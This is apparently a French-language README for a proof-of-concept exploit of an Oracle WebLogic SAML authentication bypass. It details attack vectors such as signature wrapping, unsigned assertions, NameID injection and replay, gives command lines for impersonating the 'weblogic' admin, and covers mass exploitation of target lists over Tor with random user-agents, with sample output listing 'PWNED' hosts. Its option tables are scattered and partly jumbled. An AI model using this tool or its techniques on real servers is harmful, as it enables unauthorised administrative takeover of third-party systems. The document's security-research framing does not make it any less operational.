
Analyse technique et preuve de concept (Proof-of-Concept) pour CVE-2026-60206, une vulnérabilité critique de contournement de l'authentification SAML sur Oracle WebLogic Server.
Ce dépôt fournit un exploit de preuve de concept pour CVE‑2026‑60206, une vulnérabilité critique de contournement de l'authentification dans l'implémentation SAML d'Oracle WebLogic Server. Cette faille permet à un attaquant distant disposant de faibles privilèges de compromettre entièrement le serveur en forgeant des assertions SAML.
⚠️ Avertissement : Cet outil est destiné uniquement à la recherche et aux tests de sécurité autorisés. Ne l'utilisez que sur des systèmes qui vous appartiennent ou pour lesquels vous disposez d'une autorisation explicite de test. Les auteurs déclinent toute responsabilité en cas d'utilisation abusive.
CVE-2026-60206 affecte le composant Core d'Oracle WebLogic Server. La vulnérabilité provient d'une gestion incorrecte de l'authentification dans l'implémentation du protocole SAML. De multiples vecteurs d'attaque – tels que l'enveloppement de signature XML (XSW), l'acceptation d'assertions non signées, la manipulation du NameID et le contournement des restrictions d'audience/conditions – permettent à un attaquant d'usurper l'identité d'utilisateurs arbitraires (par exemple weblogic) et d'obtenir un accès administratif.
Versions concernées :
Le PoC implémente les vecteurs d'attaque suivants :
WantAssertionsSigned n'est pas appliqué).AudienceRestriction pour élargir la portée.NotBefore/NotOnOrAfter pour contourner les contrôles de validité.all, unsigned, xsw, nameid, audience, conditions, combo ou replay.-l).-r).httpx s'il est installé, sinon (HTTP/1.1).git clone https://github.com/Debajyoti0-0/CVE-2026-60206.git
cd CVE-2026-60206
pip install -r requirements.txt
Requis : requests, urllib3
Facultatif (améliore les fonctionnalités) :
httpx – pour le support HTTP/2lxml – pour une analyse SAML amélioréesignxml, cryptography – pour la gestion des signatures (non requis pour l'exploitation)python CVE-2026-60206.py -t https://192.168.1.100:7002 --detect
python CVE-2026-60206.py -t https://192.168.1.100:7002 --mode all -u weblogic
python CVE-2026-60206.py -t https://192.168.1.100:7002 --mode combo -u admin
python CVE-2026-60206.py -l targets.txt -o results.json
python CVE-2026-60206.py -l targets.txt --exploit -o results.csv --threads 20
python CVE-2026-60206.py -t https://192.168.1.100:7002 --mode replay --replay-file captured.xml
python CVE-2026-60206.py -t https://192.168.1.100:7002 --tor --check-tor
python CVE-2026-60206.py -t https://192.168.1.100:7002 -r request.txt --method POST
python CVE-2026-60206.py -t https://192.168.1.100:7002 -c
| Option | Description |
|---|---|
-t, --target TARGET | URL d'une cible unique (par ex., https://host:7002). |
-l, --list LIST |
-l) :| Option | Description |
|---|---|
--exploit | Teste l'assertion SAML non signée (défaut : détection uniquement). |
-T, --threads THREADS | Threads simultanés (défaut : 10). |
| Option | Description |
|---|---|
-v, --verbose | Augmente la verbosité (sortie de débogage). |
detectEffectue la détection de version et le sondage des points de terminaison SAML. Aucune attaque n'est lancée.
unsignedInjecte une assertion SAML entièrement non signée. Si la cible n'applique pas WantAssertionsSigned, cela contourne entièrement l'authentification.
Variantes : unsigned (défaut), unsigned_stripped (supprime toutes les références de signature).
xsw (enveloppement de signature XML)Place une assertion non signée malveillante avant (ou en enveloppant) une assertion signée valide. Le processeur SAML peut sélectionner la première assertion tandis que le validateur de signature vérifie celle qui est signée.
Variantes : xsw1 (préfixe simple), xsw2 (même ID que l'originale), xsw3 (enveloppe imbriquée), xsw4 (nœud frère).
nameidManipule le champ NameID pour dérouter le mappeur d'identités de WebLogic, permettant d'usurper l'identité d'un autre utilisateur.
Variantes : comment_injection, whitespace, format_confusion, xpath_injection.
audienceContourne les contrôles AudienceRestriction en supprimant ou en modifiant l'élément d'audience.
Variantes : remove_audience, wildcard_audience, extra_audience.
conditionsContourne les restrictions temporelles (par ex., NotBefore, NotOnOrAfter).
Variantes : future_timestamp, expired_timestamp, remove_conditions, infinite_validity.
comboCombine l'XSW, l'assertion non signée et la manipulation du NameID dans une seule charge utile – le vecteur le plus susceptible de mener à une compromission totale.
Variantes : combo_full (avec injection de commentaires), combo_stealth (avec saut de ligne).
replayRejoue une réponse SAML précédemment capturée, en modifiant éventuellement la destination ou en supprimant les restrictions d'audience.
Variantes : replay_modified (ajuste la destination/le destinataire), replay_cross_sp (supprime les restrictions d'audience).
$ python CVE-2026-60206.py -t https://192.168.1.100:7002 -u weblogic --mode combo
╔══════════════════════════════════════════════════════════════════════╗
║ CVE-2026-60206 — WebLogic SAML Authentication Bypass PoC ║
║ Oracle WebLogic Server Core | CVSS 9.9 | CWE-287 ║
╚══════════════════════════════════════════════════════════════════════╝
🔍 Detecting WebLogic version and SAML configuration...
Detected WebLogic version: 12.2.1.4.0
⚠️ Version 12.2.1.4.0 is IN SCOPE for CVE-2026-60206!
Found SAML metadata: /saml2/sp/metadata
Found SAML ACS: /saml2/sp/acs (HTTP 200)
============================================================
🚀 Starting comprehensive SAML attack suite
Target: https://192.168.1.100:7002
Target User: weblogic
============================================================
── Attack 1/2 ──
🎯 [combo/combo_full] Launching combined attack for: weblogic
✅ [combo/combo_full] Authentication bypass SUCCEEDED! Logged in as: weblogic
ACS Endpoint: /saml2/sp/acs
── Attack 2/2 ──
🎯 [combo/combo_stealth] Launching combined attack for: weblogic
✅ [combo/combo_stealth] Authentication bypass SUCCEEDED! Logged in as: weblogic
ACS Endpoint: /saml2/sp/acs
============================================================
📊 Results: 2/2 attack vectors succeeded
============================================================
EXPLOIT SUCCESSFUL! 2 attack(s) bypassed authentication.
- [combo/combo_full] → logged in as 'weblogic' via /saml2/sp/acs
- [combo/combo_stealth] → logged in as 'weblogic' via /saml2/sp/acs
📄 Report saved: logs/report_20260725_123456.json
$ python CVE-2026-60206.py -l targets.txt --exploit -o scan_results.csv --threads 10
============================================================
CVE-2026-60206 Mass Scanner
Targets: 50
Threads: 10
Mode: Exploit
============================================================
[10/50] 20.0% | Vuln:3 | Pwned:1 | 1.2 tgt/s
[!] VULN: https://10.0.0.5:7002 (12.2.1.4.0)
[!!] PWNED: https://10.0.0.5:7002 - logged in as weblogic
... (continues) ...
============================================================
SCAN SUMMARY
============================================================
Total targets: 50
Reachable: 45
WebLogic: 12
Vuln version: 8
Exploited: 3
Duration: 42.5s
============================================================
[!!] SUCCESSFULLY EXPLOITED:
https://10.0.0.5:7002 → weblogic via /saml2/sp/acs
https://10.0.0.10:7002 → weblogic via /saml2/sp/acs
https://10.0.0.15:7002 → weblogic via /saml2/sp/acs
[!] VULNERABLE VERSIONS (not yet exploited):
https://10.0.0.20:7002 (14.1.1.0.0)
https://10.0.0.25:7002 (15.1.1.0.0)
... (truncated)
Pour tester ce PoC en toute sécurité, configurez un serveur WebLogic avec SAML activé et l'une des versions concernées. Par exemple, vous pouvez utiliser Docker :
# Example (simplified – use official Oracle WebLogic images with SAML configuration)
docker run -p 7002:7002 container-registry.oracle.com/middleware/weblogic:12.2.1.4
# Then configure SAML via WebLogic console or scripts
La configuration SAML doit inclure au moins un fournisseur de services SAML 2.0 avec un point de terminaison ACS (par ex., /saml2/sp/acs) et des métadonnées publiées.
Ce projet est sous licence GNU v3.0 – consultez le fichier LICENSE pour plus de détails.
Les signalements de problèmes (issues) et les demandes de fusion (pull requests) sont les bienvenus. Veuillez vous assurer que vos contributions respectent les mêmes directives d'utilisation éthique.
Rappel : Obtenez toujours une autorisation appropriée avant de tester un outil de sécurité. Restez éthique !
requests--save-payloads).-c / --check) – déterminer rapidement si une cible est vulnérable (sans exploitation).| Option | Description |
|---|
-h, --help | Affiche le message d'aide et quitte. |
--proxy PROXY | URL du proxy (remplacée par --tor s'il est utilisé). |
--no-verify | Désactive la vérification du certificat SSL. |
--cookie COOKIE | Cookie(s) de session (par ex., name=value; name2=value2). |
--auth AUTH | Identifiants d'authentification de base (USER:PASS). |
| Fichier de liste de cibles pour un scan de masse, ou URL unique. |
-f, --file FILE | Alias de --list. |
| Option | Description |
|---|
-r, --requestfile REQUESTFILE | Charge une requête HTTP brute depuis un fichier (remplace les attaques SAML). |
--method METHOD | Méthode HTTP à utiliser (pour une requête brute ou une requête unique ; défaut : GET). |
--random-agent | Utilise un User‑Agent aléatoire de la liste intégrée. |
-A, --user-agent USER_AGENT | Valeur d'en-tête User‑Agent personnalisée. |
--tor | Utilise le réseau d'anonymat Tor (SOCKS5 par défaut). |
--tor-port TOR_PORT | Port du proxy Tor (défaut : 9050). |
--tor-type {HTTP,SOCKS4,SOCKS5} | Type de proxy Tor (défaut : SOCKS5). |
--check-tor | Vérifie si Tor est correctement utilisé (quitte avec un verdict). |
--delay DELAY | Délai en secondes entre chaque requête. |
--timeout TIMEOUT | Délai d'expiration en secondes (défaut : 30). |
--retries RETRIES | Nombre de nouvelles tentatives en cas de délai d'expiration/d'erreurs (défaut : 3). |
--retry-on RETRY_ON | Réessaie la requête si le contenu de la réponse correspond à une regex (par ex., 'captcha'). |
-dr, --disable-redirects | Désactive le suivi des redirections HTTP. |
| Option | Description |
|---|
-m, --mode {all,detect,unsigned,xsw,nameid,audience,conditions,combo,replay} | Mode d'attaque (défaut : all). |
--detect | Détecte uniquement la version de WebLogic et la configuration SAML (sans attaque). |
-c, --check | Vérification rapide de vulnérabilité (détection uniquement, quitte avec un verdict). |
-u, --user USER | Utilisateur cible à usurper (défaut : weblogic). |
--groups GROUPS | Groupes à inclure dans l'assertion SAML (défaut : Administrators,Monitors). |
--issuer ISSUER | Identifiant d'entité de l'émetteur SAML. |
--audience AUDIENCE | Identifiant d'entité de l'audience SAML. |
--relay-state RELAY_STATE | Paramètre RelayState pour le POST SAML. |
--base64 | Encode en Base64 la réponse SAML dans le POST. |
--extra-attrs [NAME=VALUE ...] | Attributs SAML supplémentaires (par ex., role=admin). |
--replay-file REPLAY_FILE | Chemin vers la réponse SAML capturée à rejouer. |
--save-payloads | Enregistre les charges utiles SAML générées dans ./payloads/. |
--continue-on-success | Poursuit les tests après une attaque réussie. |
-q, --quiet| Supprime la sortie non essentielle. |
--list-modes | Liste tous les modes d'attaque avec leurs descriptions, puis quitte. |
-o, --output OUTPUT | Écrit un rapport JSON ou CSV dans un fichier. |